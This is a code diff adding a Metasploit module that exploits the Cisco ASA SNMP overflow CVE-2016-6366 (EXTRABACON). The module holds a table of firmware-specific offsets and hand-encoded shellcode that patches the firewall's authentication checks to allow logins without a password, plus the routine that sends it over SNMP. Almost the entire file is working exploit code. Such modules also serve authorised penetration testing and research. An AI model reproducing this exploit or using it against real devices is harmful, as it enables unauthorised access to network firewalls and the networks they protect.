|
| 1 | +## |
| 2 | +# auxiliary/admin/cisco/cisco_asa_extrabacon.rb |
| 3 | +## |
| 4 | + |
| 5 | +require 'msf/core' |
| 6 | + |
| 7 | +class MetasploitModule < Msf::Auxiliary |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::SNMPClient |
| 10 | + include Msf::Auxiliary::Cisco |
| 11 | + |
| 12 | + def initialize |
| 13 | + super( |
| 14 | + 'Name' => 'Cisco ASA Authentication Bypass (EXTRABACON)', |
| 15 | + 'Description' => %q{ |
| 16 | + This module patches the authentication functions of a Cisco ASA |
| 17 | + to allow uncredentialed logins. Uses improved shellcode for payload. |
| 18 | + }, |
| 19 | + 'Author' => |
| 20 | + [ |
| 21 | + 'Sean Dillon <[email protected]>', |
| 22 | + 'Zachary Harding <[email protected]>', |
| 23 | + |
| 24 | + 'Dylan Davis <[email protected]>', |
| 25 | + 'William Webb <william_webb[at]rapid7.com>', # initial module and ASA hacking notes |
| 26 | + 'Equation Group', |
| 27 | + 'Shadow Brokers' |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'CVE', '2016-6366'], |
| 32 | + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp'], |
| 33 | + [ 'URL', 'https://github.com/RiskSense-Ops/CVE-2016-6366'], |
| 34 | + ], |
| 35 | + 'License' => MSF_LICENSE |
| 36 | + ) |
| 37 | + register_options([ |
| 38 | + OptEnum.new('MODE', [ true, 'Enable or disable the password auth functions', 'pass-disable', ['pass-disable', 'pass-enable']]) |
| 39 | + ], self.class) |
| 40 | + |
| 41 | + deregister_options("VERSION") |
| 42 | + datastore['VERSION'] = '2c' # SNMP v. 2c required it seems |
| 43 | + |
| 44 | + @asa_version_snmp = '1.3.6.1.2.1.47.1.1.1.1.10.1' |
| 45 | + |
| 46 | + @offsets = { |
| 47 | + #"9.2(4)14" => ["197.207.10.8", "118.97.40.9", "72", "0.16.185.9", "112.31.185.9", "85.49.192.137", "0.80.8.8", "240.95.8.8", "85.137.229.87"], |
| 48 | + "9.2(4)13" => ["197.207.10.8", "70.97.40.9", "72", "0.16.185.9", "240.30.185.9", "85.49.192.137", "0.80.8.8", "240.95.8.8", "85.137.229.87"], |
| 49 | + "9.2(4)" => ["101.190.10.8", "54.209.39.9", "72", "0.48.184.9", "192.52.184.9", "85.49.192.137", "0.80.8.8", "0.91.8.8", "85.137.229.87"], |
| 50 | + "9.2(3)" => ["29.112.29.8", # jmp_esp_offset, 0 |
| 51 | + "134.115.39.9", # saferet_offset, 1 |
| 52 | + "72", # fix_ebp, 2 |
| 53 | + "0.128.183.9", # pmcheck_bounds, 3 |
| 54 | + "16.128.183.9", # pmcheck_offset, 4 |
| 55 | + "85.49.192.137", # pmcheck_code, 5 |
| 56 | + "0.80.8.8", # admauth_bounds, 6 |
| 57 | + "64.90.8.8", # admauth_offset, 7 |
| 58 | + "85.137.229.87"], # admauth_code, 8 |
| 59 | + |
| 60 | + "9.2(2)8" => ["21.187.10.8", "54.245.39.9", "72", "0.240.183.9", "16.252.183.9", "85.49.192.137", "0.80.8.8", "64.90.8.8", "85.137.229.87"], |
| 61 | + "9.2(1)" => ["197.180.10.8", "54.118.39.9", "72", "0.240.182.9", "16.252.182.9", "85.49.192.137", "0.80.8.8", "176.84.8.8", "85.137.229.87"], |
| 62 | + "9.1(1)4" => ["173.250.27.8", "134.177.3.9", "72", "0.112.127.9", "176.119.127.9", "85.49.192.137", "0.48.8.8", "96.49.8.8", "85.137.229.87"], |
| 63 | + "9.0(1)" => ["221.227.27.8", "134.13.3.9", "72", "0.176.126.9", "112.182.126.9", "85.49.192.137", "0.32.8.8", "240.45.8.8", "85.137.229.87"], |
| 64 | + "8.4(7)" => ["109.22.18.8", "70.254.226.8", "72", "0.144.87.9", "80.156.87.9", "85.49.192.137", "0.32.8.8", "0.34.8.8", "85.137.229.87"], |
| 65 | + "8.4(6)5" => ["125.63.32.8", "166.11.228.8", "72", "0.176.88.9", "96.186.88.9", "85.49.192.137", "0.32.8.8", "240.33.8.8", "85.137.229.87"], |
| 66 | + "8.4(4)9" => ["173.23.5.8", "166.113.226.8", "72", "0.144.86.9", "224.154.86.9", "85.49.192.137", "0.16.8.8", "160.27.8.8", "85.137.229.87"], |
| 67 | + "8.4(4)5" => ["202.250.13.8", "246.48.226.8", "72", "0.64.86.9", "16.69.86.9", "85.49.192.137", "0.16.8.8", "160.27.8.8", "85.137.229.87"], |
| 68 | + "8.4(4)3" => ["164.119.8.8", "102.0.226.8", "72", "0.240.85.9", "96.252.85.9", "85.49.192.137", "0.16.8.8", "160.27.8.8", "85.137.229.87"], |
| 69 | + "8.4(4)1" => ["253.74.114.8", "150.236.225.8", "72", "0.192.85.9", "176.202.85.9", "85.49.192.137", "0.16.8.8", "176.27.8.8", "85.137.229.87"], |
| 70 | + "8.4(4)" => ["111.198.161.9", "181.105.226.8", "72", "0.192.85.9", "240.201.85.9", "85.49.192.137", "0.16.8.8", "176.27.8.8", "85.137.229.87"], |
| 71 | + "8.4(3)" => ["13.178.7.8", "150.219.224.8", "72", "0.192.84.9", "208.207.84.9", "85.49.192.137", "0.16.8.8", "208.23.8.8", "85.137.229.87"], |
| 72 | + "8.4(2)" => ["25.71.20.9", "230.222.223.8", "72", "0.128.83.9", "240.143.83.9", "85.49.192.137", "0.16.8.8", "224.19.8.8", "85.137.229.87"], |
| 73 | + "8.4(1)" => ["173.58.17.9", "6.12.219.8", "72", "0.240.72.9", "240.252.72.9", "85.49.192.137", "0.48.8.8", "144.56.8.8", "85.137.229.87"], |
| 74 | + "8.3(2)40" => ["169.151.13.8", "124.48.196.8", "88", "0.128.59.9", "48.137.59.9", "85.49.192.137", "0.224.6.8", "32.228.6.8", "85.137.229.87"], |
| 75 | + "8.3(2)39" => ["143.212.14.8", "124.48.196.8", "88", "0.128.59.9", "176.136.59.9", "85.49.192.137", "0.224.6.8", "32.228.6.8", "85.137.229.87"], |
| 76 | + "8.3(2)" => ["220.203.69.9", "252.36.195.8", "88", "0.80.54.9", "144.84.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"], |
| 77 | + #"8.3(2)-npe" => ["125.116.12.8", "76.34.195.8", "88", "0.80.54.9", "224.81.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"], |
| 78 | + "8.3(1)" => ["111.187.14.8", "140.140.194.8", "88", "0.112.53.9", "240.119.53.9", "85.49.192.137", "0.208.6.8", "48.221.6.8", "85.137.229.87"], |
| 79 | + "8.2(5)41" => ["77.90.18.8", "188.9.187.8", "88", "0.160.50.9", "16.168.50.9", "85.49.192.137", "0.240.6.8", "16.243.6.8", "85.137.229.87"], |
| 80 | + "8.2(5)33" => ["157.218.29.8", "236.190.186.8", "88", "0.80.50.9", "96.92.50.9", "85.49.192.137", "0.240.6.8", "192.242.6.8", "85.137.229.87"], |
| 81 | + "8.2(5)" => ["253.13.54.9", "156.229.185.8", "88", "0.16.48.9", "96.28.48.9", "85.49.192.137", "0.240.6.8", "64.242.6.8", "85.137.229.87"], |
| 82 | + "8.2(4)" => ["93.172.49.9", "236.91.185.8", "88", "0.176.43.9", "96.187.43.9", "85.49.192.137", "0.240.6.8", "16.242.6.8", "85.137.229.87"], |
| 83 | + "8.2(3)" => ["45.0.7.8", "252.42.185.8", "88", "0.96.43.9", "128.111.43.9", "85.49.192.137", "0.240.6.8", "144.241.6.8", "85.137.229.87"], |
| 84 | + "8.2(2)" => ["150.54.28.9", "124.0.184.8", "88", "0.224.41.9", "32.227.41.9", "85.49.192.137", "0.208.6.8", "64.221.6.8", "85.137.229.87"], |
| 85 | + "8.2(1)" => ["147.242.43.9", "108.154.181.8", "88", "0.0.36.9", "240.14.36.9", "85.49.192.137", "0.208.6.8", "16.215.6.8", "85.137.229.87"], |
| 86 | + "8.0(5)" => ["253.116.31.9", "204.64.171.8", "88", "0.32.24.9", "64.32.24.9", "85.49.192.137", "0.96.6.8", "128.107.6.8", "85.137.229.87"], |
| 87 | + "8.0(4)32" => ["157.6.31.9", "44.20.171.8", "88", "0.176.23.9", "0.176.23.9", "85.49.192.137", "0.96.6.8", "48.105.6.8", "85.137.229.87"], |
| 88 | + "8.0(4)" => ["109.188.26.9", "140.100.168.8", "88", "0.96.19.9", "128.101.19.9", "85.49.192.137", "0.96.6.8", "176.104.6.8", "85.137.229.87"], |
| 89 | + "8.0(3)6" => ["191.143.24.9", "28.158.161.8", "88", "0.0.11.9", "224.1.11.9", "85.49.192.137", "0.96.6.8", "112.101.6.8", "85.137.229.87"], |
| 90 | + "8.0(3)" => ["141.123.131.9", "156.138.160.8", "88", "0.128.9.9", "112.130.9.9", "85.49.192.137", "0.96.6.8", "176.96.6.8", "85.137.229.87"], |
| 91 | + "8.0(2)" => ["155.222.211.8", "44.103.159.8", "88", "0.224.6.9", "32.237.6.9", "85.49.192.137", "0.80.6.8", "48.90.6.8", "85.137.229.87"] |
| 92 | + } |
| 93 | + |
| 94 | + end |
| 95 | + |
| 96 | + def check |
| 97 | + begin |
| 98 | + snmp = connect_snmp |
| 99 | + vers_string = snmp.get_value(@asa_version_snmp).to_s |
| 100 | + rescue ::Exception => e |
| 101 | + print_error("Error: Unable to retrieve version information") |
| 102 | + return Exploit::CheckCode::Unknown |
| 103 | + end |
| 104 | + |
| 105 | + if @offsets[vers_string] |
| 106 | + print_good("Payload for Cisco ASA version #{vers_string} available!") |
| 107 | + return Exploit::CheckCode::Appears |
| 108 | + end |
| 109 | + |
| 110 | + print_warning("Received Cisco ASA version #{vers_string}, but no payload available") |
| 111 | + return Exploit::CheckCode::Detected |
| 112 | + end |
| 113 | + |
| 114 | + def build_payload(vers_string, mode) |
| 115 | + # adds offsets to the improved shellcode |
| 116 | + # https://github.com/RiskSense-Ops/CVE-2016-6366/blob/master/shellcode.nasm |
| 117 | + |
| 118 | + if mode == 'pass-disable' |
| 119 | + always_return_true = "49.192.64.195" |
| 120 | + pmcheck_bytes = always_return_true |
| 121 | + admauth_bytes = always_return_true |
| 122 | + else |
| 123 | + pmcheck_bytes = @offsets[vers_string][5] |
| 124 | + admauth_bytes = @offsets[vers_string][8] |
| 125 | + end |
| 126 | + |
| 127 | + preamble_snmp = "" |
| 128 | + preamble_snmp << "49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187." |
| 129 | + preamble_snmp << @offsets[vers_string][3] |
| 130 | + preamble_snmp << ".205.128.88.187." |
| 131 | + preamble_snmp << @offsets[vers_string][6] |
| 132 | + preamble_snmp << ".205.128.199.5." |
| 133 | + preamble_snmp << @offsets[vers_string][4] |
| 134 | + preamble_snmp << "." |
| 135 | + preamble_snmp << pmcheck_bytes |
| 136 | + preamble_snmp << ".199.5." |
| 137 | + preamble_snmp << @offsets[vers_string][7] |
| 138 | + preamble_snmp << "." |
| 139 | + preamble_snmp << admauth_bytes |
| 140 | + preamble_snmp << ".97.104." |
| 141 | + preamble_snmp << @offsets[vers_string][1] |
| 142 | + preamble_snmp << ".128.195.16.191.11.15.15.15.137.229.131.197." |
| 143 | + preamble_snmp << @offsets[vers_string][2] |
| 144 | + preamble_snmp << ".195" |
| 145 | + |
| 146 | + preamble_len = preamble_snmp.split('.').length |
| 147 | + preamble_snmp << ".144" * (82 - preamble_len) |
| 148 | + |
| 149 | + # cufwUrlfServerStatus |
| 150 | + head = "1.3.6.1.4.1.9.9.491.1.3.3.1.1.5" |
| 151 | + head << ".9.95" |
| 152 | + |
| 153 | + finder_snmp = "139.124.36.20.139.7.255.224.144" |
| 154 | + |
| 155 | + overflow = [head, preamble_snmp, @offsets[vers_string][0], finder_snmp].join(".") |
| 156 | + return overflow |
| 157 | + end |
| 158 | + |
| 159 | + def run() |
| 160 | + |
| 161 | + begin |
| 162 | + mode = datastore['MODE'] |
| 163 | + session = rand(255) + 1 |
| 164 | + |
| 165 | + snmp = connect_snmp |
| 166 | + vers_string = snmp.get_value(@asa_version_snmp).to_s |
| 167 | + |
| 168 | + print_status("Building #{mode} payload for version #{vers_string}...") |
| 169 | + overflow = build_payload(vers_string, mode) |
| 170 | + payload = SNMP::ObjectId.new(overflow) |
| 171 | + |
| 172 | + print_status("Sending SNMP payload...") |
| 173 | + response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)]) |
| 174 | + |
| 175 | + if response.varbind_list |
| 176 | + print_good("Clean return detected!") |
| 177 | + if mode == 'pass-disable' |
| 178 | + print_warning("Don't forget to run pass-enable after logging in!") |
| 179 | + end |
| 180 | + end |
| 181 | + |
| 182 | + rescue ::Rex::ConnectionError |
| 183 | + print_error("Connection Error: Is the target up?") |
| 184 | + rescue ::SNMP::RequestTimeout |
| 185 | + print_error("SNMP Error: Request Timeout, Cisco ASA may have crashed :/") |
| 186 | + rescue ::SNMP::UnsupportedVersion |
| 187 | + print_error("SNMP Error: Version 2c is not supported by target.") |
| 188 | + rescue ::NoMethodError |
| 189 | + print_error("Error: No payload available for version #{vers_string}") |
| 190 | + rescue ::Interrupt |
| 191 | + raise $! |
| 192 | + rescue ::Exception => e |
| 193 | + print_error("Error: #{e.class} #{e} #{e.backtrace}") |
| 194 | + ensure |
| 195 | + disconnect_snmp |
| 196 | + end |
| 197 | + end |
| 198 | + |
| 199 | +end |
0 commit comments